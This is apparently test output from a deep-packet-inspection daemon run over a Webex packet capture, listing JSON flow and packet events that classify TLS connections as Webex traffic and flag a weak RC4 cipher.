+00434{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570627,"pkt_ts_usec":404164,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8hnNAAEAGAJUKCAABQERpZ6GEAbuwMDkNAAAAAKACOQgO\/QAAAgQFtAQCCAoATL9+AAAAAAEDAwY="} +00407{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570627,"pkt_ts_usec":409779,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoASZAABAGtfZARGlnCggAAQG7oYRPz8bysDA5DlAS\/\/9Y3gAA"} +00406{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570627,"pkt_ts_usec":410952,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAohnRAAEAGAKgKCAABQERpZ6GEAbuwMDkOT8\/G81AQOQgf1wAA"} +00716{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570627,"pkt_ts_usec":411108,"pkt_caplen":281,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":281,"pkt_l4_len":247,"pkt":"ABoRAAACABoRAAABCABFAAELhnVAAEAG\/8MKCAABQERpZ6GEAbuwMDkOT8\/G81AYOQi8XAAAFgMBAN4BAADaAwNWGmYD1bgajSKfLk8MBc\/KhqagawnHbCgQ2bA0JfR3iiCiEgrZvpHjzJYNIqBz8GV5Z5nEiB2\/9li16SQKz1NTSAA4zBTME8wVwBTACgA5ADgANcASwAgAFgATAArAL8ArwBPACQCiAJ4AMwAyAJwAL8ARwAcABQAEAP8BAABZAAAAFQATAAAQcmFkY29tLndlYmV4LmNvbQALAAIBAAAKAAgABgAZABgAFwAjAAAADQAiACAGAQYCBgMFAQUCBQMEAQQCBAMDAQMCAwMCAQICAgMBATN0AAA="} +00754{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":53,"source":"webex.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":4,"flow_first_seen":1444570627404,"flow_last_seen":1444570627411,"flow_tot_l4_data_len":327,"flow_min_l4_data_len":20,"flow_max_l4_data_len":247,"flow_avg_l4_data_len":81,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.103","src_port":41348,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1.2","client_requested_server_name":"radcom.webex.com","ja3":"f9010d8c34749bdf7659b52227e6f91b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00408{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":54,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570627,"pkt_ts_usec":411318,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoASdAABAGtfVARGlnCggAAQG7oYRPz8bzsDA58VAQ\/\/9X\/AAA"} +00587{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":65,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570627,"pkt_ts_usec":815979,"pkt_caplen":183,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":183,"pkt_l4_len":149,"pkt":"ABoRAAACABoRAAABCABFAACpAS1AABAGtW5ARGlnCggAAQG7oYRPz8bzsDA58VAY\/\/\/Z6wAAFgMDAFECAABNAwNWGmYJvIxu30wG6\/QUZCmoAMbL6LdQC15hV8KtMY\/qdSCiEgrZvpHjzJYNIqBz8GV5Z5nEiB2\/9li16SQKz1NTSAAEAAAF\/wEAAQAUAwMAAQEWAwMAIKNCXdoHLE35gFWT8+ZDcTEszCphhanV0csUAVKKsy+J"} +00795{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":65,"source":"webex.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":6,"flow_first_seen":1444570627404,"flow_last_seen":1444570627815,"flow_tot_l4_data_len":496,"flow_min_l4_data_len":20,"flow_max_l4_data_len":247,"flow_avg_l4_data_len":82,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.103","src_port":41348,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1.2","client_requested_server_name":"radcom.webex.com","ja3":"f9010d8c34749bdf7659b52227e6f91b","ja3s":"c253ec3ad88e42f8da4032682892f9a0","unsafe_cipher":2,"cipher":"TLS_RSA_WITH_RC4_128_MD5"}} +00406{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570627,"pkt_ts_usec":866438,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAohnZAAEAGAKYKCAABQERpZ6GEAbuwMDnxT8\/HdFAQPLgawwAA"} +00466{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570627,"pkt_ts_usec":867035,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"ABoRAAACABoRAAABCABFAABThndAAEAGAHoKCAABQERpZ6GEAbuwMDnxT8\/HdFAYPLjpWAAAFAMDAAEBFgMDACBXzEd1erS3V3J4BRCzEeJwOZFWWJv7nft2Y0meqHofKg=="} +00407{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":68,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570627,"pkt_ts_usec":867279,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAS5AABAGte5ARGlnCggAAQG7oYRPz8d0sDA6HFAQ\/\/9XUAAA"} +01138{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":77,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570628,"pkt_ts_usec":112845,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"ABoRAAACABoRAAABCABFAAJAhnhAAEAG\/osKCAABQERpZ6GEAbuwMDocT8\/HdFAQPLjVMwAAFwMDA\/INRJ6uQHjOXl\/2i+AEa67RE44Rwk0Mtplryuas93M5tGjvPBfRtafOYcyYlBvxSZ+7dIwIrkXQ05tdcFljk0gYe3s+EtGQAjHqpnHl8LDCCIY09p6PZS6l4BNT1HsR0ZmgDEbV0trsPuEztWKMz+uMXW2HRIK4nob4CMAUs7Q8hzVIWRitgfvzbfj2E+nWaaCau\/v9IYehYFW9w\/cEa7rrWz44dHYKx9yaGXqeBJGomuzJKtlsjCt0esBe7GLr\/0fkagfWYxqNh5F7xbx0Lr2S\/5t3jGhYSu3z85yw1raaMkp+jtC2WQrEwAWNQU6hA7GmbUlTTT0YNOFDk0hQ52r5VJ8upqKKz3hz4HbvVVXkjz4ECVXoMgui1ld\/1GlALz4qRx37tCaPUK84YWCryD00ujzLJ7QanljYk5MfSZ9jKS0joMhzBYUeRGHb+rH1Uy21V9b3i6li1A\/\/NJ5c8Ro4VblJBh9DwTS49Po4C6fLwObi8cya3J8xxTz7D5vVNIAJQ6qucHWEk3jZWTcmlt2aawqsGkjexJ6DtGGPrb+w8yxw6dNz7nnIxCpEWjCr20unPYO9xESyt8zgBrGC3TNbKxgUEQjgSFbu8ukzNaQvjZmCqOvu4C9dU5gRVuOUC0sZSHGc2\/MVJ5ksLP4uVsLrzGxJuVKAGqUZ3j37IyncL\/4GkEzlcgllGw8MUqFDw4XaOGw="} +00408{"flow_id":2,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":78,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570628,"pkt_ts_usec":113149,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoATNAABAGtelARGlnCggAAQG7oYRPz8d0sDA8NFAQ\/\/9VOAAA"} +01062{"flow_id":2,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":79,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570628,"pkt_ts_usec":113281,"pkt_caplen":533,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":533,"pkt_l4_len":499,"pkt":"ABoRAAACABoRAAABCABFAAIHhnlAAEAG\/sMKCAABQERpZ6GEAbuwMDw0T8\/HdFAYPLgltgAA4D86yWxOofraycd6q8+9111oxSs78SkXydJiKVK5NG9Ksa8JcplVFpGHi5NmCJQxfVk\/aCzkkddizbqROo4KmLRpMdS79VL6k3fOUp4msSvZdH9Gx4RHATuO9MdxbvwYimqsZZ5BDaPDRH7nYd8SRCmXz6zDU0\/N9anaVk\/Hdu30MRzEnQrC\/g+4JnnyuE5gi3bCCXU0sNz5FKNXx5wdx3lUkmPtV5rYkWXytJjPSHfDZA9kvmo4Df7Ji1\/iTxgIAMjepR\/QchGb+A4uZ2w7CLOHrT+4+dHN5a92ssVS3TM1gsuzDAxQQxYW7k4l0RfbrVAhqPnA\/KdR6XakGTwmpg59c881TJMyXE8K6ZgfW7jqWcvFO8PnFzcNYtcPnvu2DacXj4CouqwJme\/Op7\/7FJRM6n3C0rkfoJ0R12qYOnCDQjK+vtijEhwf7MDvCx1R0Y2U+CO1GO4kT6DLWyG2NZO0E4gjMLAheFp6jcj7A3P3V80KwTJFaM0rNGVgWpsXV+W8VN7K4jUjldIrSu\/F4qGsyJxgyUJcdxGiB498zEuf4bJ3kO+HqzRA7v+SHqROL8mYH+YuEboQd7Ns+OLs6GULghyX7MhTGrzgRS6\/6kqpZBFQcHJ7oU3kJLuEOQc="} +00408{"flow_id":2,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":80,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570628,"pkt_ts_usec":113456,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoATRAABAGtehARGlnCggAAQG7oYRPz8d0sDA+E1AQ\/\/9TWQAA"} +00467{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":81,"source":"webex.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1444570628113,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.103","src_port":41350,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":81,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570628,"pkt_ts_usec":113579,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8CqVAAEAGfGMKCAABQERpZ6GGAbuTEbVkAAAAAKACOQivfwAAAgQFtAQCCAoATL\/BAAAAAAEDAwY="} +00407{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":82,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570628,"pkt_ts_usec":117515,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoATVAABAGtedARGlnCggAAQG7oYZs7kqbkxG1ZVAS\/\/9Y3AAA"} +00467{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":83,"source":"webex.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1444570628117,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.103","src_port":41351,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570628,"pkt_ts_usec":117770,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8SvxAAEAGPAwKCAABQERpZ6GHAbtcKPU9AAAAAKACOQimjgAAAgQFtAQCCAoATL\/BAAAAAAEDAwY="} +00407{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":84,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570628,"pkt_ts_usec":121468,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoATZAABAGteZARGlnCggAAQG7oYej1wrCXCj1PlAS\/\/9Y2wAA"} +00405{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":85,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570628,"pkt_ts_usec":121847,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoCqZAAEAGfHYKCAABQERpZ6GGAbuTEbVlbO5KnFAQOQgf1QAA"} +00715{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":86,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570628,"pkt_ts_usec":121998,"pkt_caplen":281,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":281,"pkt_l4_len":247,"pkt":"ABoRAAACABoRAAABCABFAAELCqdAAEAGe5IKCAABQERpZ6GGAbuTEbVlbO5KnFAYOQgw\/QAAFgMBAN4BAADaAwNWGmYE7RhsRONG\/m1MT5VVrdjnvzP1znNlFG2+WauU5SCiEgrZvpHjzJYNIqBz8GV5Z5nEiB2\/9li16SQKz1NTSAA4zBTME8wVwBTACgA5ADgANcASwAgAFgATAArAL8ArwBPACQCiAJ4AMwAyAJwAL8ARwAcABQAEAP8BAABZAAAAFQATAAAQcmFkY29tLndlYmV4LmNvbQALAAIBAAAKAAgABgAZABgAFwAjAAAADQAiACAGAQYCBgMFAQUCBQMEAQQCBAMDAQMCAwMCAQICAgMBATN0AAA="} +00754{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":86,"source":"webex.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":4,"flow_first_seen":1444570628113,"flow_last_seen":1444570628121,"flow_tot_l4_data_len":327,"flow_min_l4_data_len":20,"flow_max_l4_data_len":247,"flow_avg_l4_data_len":81,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.103","src_port":41350,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1.2","client_requested_server_name":"radcom.webex.com","ja3":"f9010d8c34749bdf7659b52227e6f91b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00407{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570628,"pkt_ts_usec":122193,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoATdAABAGteVARGlnCggAAQG7oYZs7kqckxG2SFAQ\/\/9X+gAA"} +00405{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":88,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570628,"pkt_ts_usec":122373,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoSv1AAEAGPB8KCAABQERpZ6GHAbtcKPU+o9cKw1AQOQgf1AAA"} +00713{"flow_id":4,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":89,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570628,"pkt_ts_usec":122668,"pkt_caplen":281,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":281,"pkt_l4_len":247,"pkt":"ABoRAAACABoRAAABCABFAAELSv5AAEAGOzsKCAABQERpZ6GHAbtcKPU+o9cKw1AYOQiciAAAFgMBAN4BAADaAwNWGmYEkvVIckj2nKXTHHhTgHLpDPs+ur2PFRE7SXTT+yCiEgrZvpHjzJYNIqBz8GV5Z5nEiB2\/9li16SQKz1NTSAA4zBTME8wVwBTACgA5ADgANcASwAgAFgATAArAL8ArwBPACQCiAJ4AMwAyAJwAL8ARwAcABQAEAP8BAABZAAAAFQATAAAQcmFkY29tLndlYmV4LmNvbQALAAIBAAAKAAgABgAZABgAFwAjAAAADQAiACAGAQYCBgMFAQUCBQMEAQQCBAMDAQMCAwMCAQICAgMBATN0AAA="} +00754{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":89,"source":"webex.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":4,"flow_first_seen":1444570628117,"flow_last_seen":1444570628122,"flow_tot_l4_data_len":327,"flow_min_l4_data_len":20,"flow_max_l4_data_len":247,"flow_avg_l4_data_len":81,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.103","src_port":41351,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1.2","client_requested_server_name":"radcom.webex.com","ja3":"f9010d8c34749bdf7659b52227e6f91b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00407{"flow_id":4,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":90,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570628,"pkt_ts_usec":122955,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAThAABAGteRARGlnCggAAQG7oYej1wrDXCj2IVAQ\/\/9X+QAA"} +02590{"flow_id":2,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":93,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570628,"pkt_ts_usec":336752,"pkt_caplen":1658,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1658,"pkt_l4_len":1624,"pkt":"ABoRAAACABoRAAABCABFAAZsATpAABAGr55ARGlnCggAAQG7oYRPz8d0sDA+E1AY\/\/8oiAAAFwMDBj\/t\/uIrkeQDyGZjWp49yCokUxS9FJHYvfXcMyCQaPOCwkcDNmYuFZEDo\/AwFcNyVv3+05WHJJ9u3TkD2KauF1mgk0jI0of3UmdonsFWv\/JiNqjo4cXOMELy4x6zIJZLEgl3NOVFNEqCscqzuhbFk5Yi7SH091sPTQtHd7s6FBq8krpiCZCl\/bHltNo\/McejeSzraT9Jdz4cVrWOscxkLMvgMOCMEDi81Db80tJQoclIrfd9nyZN6s39OPaFfyWF\/N29yGtgdBQ0P6s0OuWMX6mu1EwOdwewMYStj3alPG89DAcQ7pvpiLESJW606r2uBDDWRUzcIygOAHa7\/MsD3sgMC4S2P+3A3XViDy40J8hZOleTUyyqOihy5uYucGtJvSJLcg4AOsMGXdsFOhyH\/02P3p6CMG1HuvLQDeGsoN4iYM47oyimizjecSAu1zJ7S0WBOmXbIAx3YDAAU9t22W\/54Fy5\/6CVu5HdBOdrmkrT3B1u\/\/deLHjqKPsJAl3fMe5XYOHmcga74KWvBl7iu759RuqGgFotJ81LhBPb71\/HOczfP5P8yosT5\/4l4IEnT6PKQjBiTAH+WAuEyWFMQyQA6GbwQ9oiJPujo5FGxZHQ2F6d35PjU+eD3vRwzl7+Wl5S0CPYhthTL30CgvX+hyQTb9EGTxGDn8eCdFlSKuNxNv+ulNNTwPQuoAGbtDCKEkrywvByIe3nErJf\/OSUKWT5zYRHcrJcdpVgtaacoCfYpJ4nYbRk1bWib4OBnnkkQyA6Q0WNg43VYIvxKHe45Th++Pn4qQlvN3mxpCQsAWTbYduEIgpcn2sWCa\/mUml\/m1ipOTNnbb162x2drd0lgBlC9v7feYgXAAcXLdB1AqgN7RCjNbOGBxHWtJpJvfVt+NZ8v56\/Ge9typCQPDrJl2\/b+jW+1i6iAChxn9R5t7eMNvRzQLirxssPTrkjLbnH9OVjWuv4GqCHrIaAON2I21f4jzCKSzc3nL14ZdfYx0svKweCv2B9Jok9xI64Iyd5JYgspuUyVRncg97uHQGBWi5+JRYxSppCt4t\/Stq5NgT\/0FQ0Ld19sE2VFjI6UMEopSEdYMJ41x+NoolbUndl7jwz9qtswoz8aloXgmG27DB9o3p3s6UdzBHtQwNp7fbNnJ9V7yAWZ3yz7dW8zSfb1YG\/eOCjMr1eGYo5YbbX2CLEvfDgkDf8S52R1ru0MDzSgRMMn3sedzpumMJYC6333Gn7iBWavTTHRsp+cY+3zHCuNTDuzSjT6jPVIhJy12peZFyPBOr1OVhYWEmD2k2xydOxdAznhyb7UOHXpSPY5Z0XY9U2P7lGPYE7iuEUR8op1K4882hvk0M4oE\/Gz5\/icSXEHgP8XbYVo9pDXtnQNbhmYqKPMkLjH8mNwUX5KFnCAVB6yb\/HcPF5VGqxI7UkQQFQr\/LiC35GAgRfd44EX5DG1\/3cYH27HOdNpExm93tlCclYm8UosyEATMOoN1HxGvUEWLAp+oKsPvzNgl8Pe\/xQkizA3CGOgaF8X0ld6dLdrCS40sZWUOXqLY9SNGWldNRRpMPGVefAbzNHLDZ+aj40zBYIijFDVniRi4G5KjdNarxznoNu8j7zM\/RFTHDAh824OKoihYBZEHNKxws8sznsYoEnwP0NMajIFLdibzlcElYboV0McwtqEFlYOHl2B2Yq8ffshJENkwKQlKcZ7KBa5cxjQr1FdoAObKAS2R5bYvqtU7oRAzqzTTWMyprI+6FlMqvAqv0ZXSA7AaHl5PcP5EUTMlDDIKp9fTrAzIVAD2G1NhaFtcxHdR5bP2fGPkJ8qc4IPoVPmHQ81o9ulM2YIIJqUenEIGiXX50pa6C4rFhu4ZrOWr+pJhQOi9EaXuH7ejRC8KkXqKY\/jVgnIu6lm1+kqD+dKO1BvzMAQL4bgaZx3A6hx\/Y3kuas7jn1d5dQkAUWK31l5XEJKs6YLJTOk8EueBKJf4WUM5M\/2R2JlGSm4hZ7xV89TvlYctx7+VeVBr\/cQPGqi07EYebk5WrhvXxzQ+R5ZZ9OJBVWFRUu9vc88B8wWcsODvu\/x7BEf7gHu8u6Mk1VmXxoDBe3sfbyXVkllkEkjWZ1t\/I96pKvryzYOp2+vwdvch9tE+WL6YA="} +01140{"flow_id":2,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":96,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570628,"pkt_ts_usec":388122,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"ABoRAAACABoRAAABCABFAAJAhnpAAEAG\/okKCAABQERpZ6GEAbuwMD4TT8\/NuFAQROwsYAAAFwMDA9T6+I822bcSE7LxlTUXSyoNCwtzH4RJSxf9333iQ\/XdBP07ym8b3A\/XVliHymMtZ\/OMaR2i40GdTUtEso5w+jXJ1bvU2e5foeo7BUfcqd1l3eHeZdMykJqIwZL6fRFExjyO5Tb9D4BKywmMBt2fDbTf6LPbrhpUIcmbnPGe7m\/o\/v74JuCWNSX6uweF1M+rt7PezIxzpY5zNIl3PuQJxwS8GNN3Grr8FtcanBZuLBRrRvThrYdWZjpaC4DeMnmPLR8t6nhljRnGUxcUP1KsOho3deuVPDOiZz01zYn4Tq7OpT0CKEEiZHR68dLdoSbXO\/itXzhuT5t8NZnuD7pzPaGFCz8FtqAlK92G\/iII8JRFJuZXrwEUFllzsDWcXvWcu976PKrjGJo+dP41Psy93ULHV28gwgRMGps1cWcXOpTLudobpW2EYTmIFvnMzXaMBdMPjZjjHPRBbJlHGGKZmwZwYlpS2i94mg4NH1G+\/LIhqsRclU88sfVkh2wijO6HbnuDHar5GjtL8sRsdRoTjl8+5KG\/1xKz3pMMRyg0qSGAJynHH+wQ8BFTH7QVLS1CHpDQbNHPgHzMt4wCcLt74bANBJEy+t7wt0zm0cY2Ix9Tvuli\/GYGCPS52OA2phRiDPbzhYH406S5cr7uHu6FSA+vWpiVCEvowiD0nUs4YqVUABVdkP\/1J\/Z7QKEQo5YhZD\/sT6U="} +00537{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":104,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570628,"pkt_ts_usec":514304,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"ABoRAAACABoRAAABCABFAACEAUBAABAGtYBARGlnCggAAQG7oYZs7kqckxG2SFAY\/\/+ufAAAFgMDAFECAABNAwNWGmYKL2EFknJPvXFykCSHotly4la6oG496nIi7KRcKSCiEgrZvpHjzJYNIqBz8GV5Z5nEiB2\/9li16SQKz1NTSAAEAAAF\/wEAAQAUAwMAAQE="} +00796{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":104,"source":"webex.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":6,"flow_first_seen":1444570628113,"flow_last_seen":1444570628514,"flow_tot_l4_data_len":459,"flow_min_l4_data_len":20,"flow_max_l4_data_len":247,"flow_avg_l4_data_len":76,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.103","src_port":41350,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1.2","client_requested_server_name":"radcom.webex.com","ja3":"f9010d8c34749bdf7659b52227e6f91b","ja3s":"c253ec3ad88e42f8da4032682892f9a0","unsafe_cipher":2,"cipher":"TLS_RSA_WITH_RC4_128_MD5"}} 